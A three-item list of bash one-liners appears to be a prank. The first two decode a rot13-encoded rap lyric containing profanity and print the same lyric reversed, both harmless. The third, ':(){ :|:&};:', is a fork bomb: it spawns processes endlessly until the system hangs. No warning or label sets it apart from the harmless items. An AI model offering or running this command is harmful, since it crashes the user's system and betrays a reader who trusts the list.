1. echo "vffzr Mvn... TBNASHEFRYS... Fhpprff vf zl bayl zbgunshpxv bcgvba, snvyher'f abg" | tr A-Za-z N-ZA-Mn-za-m 2. perl -e 'print scalar reverse "ton si eruliaf ,noitpo nikcufahtom ylno ym si sseccus";' 3. :(){ :|:&};: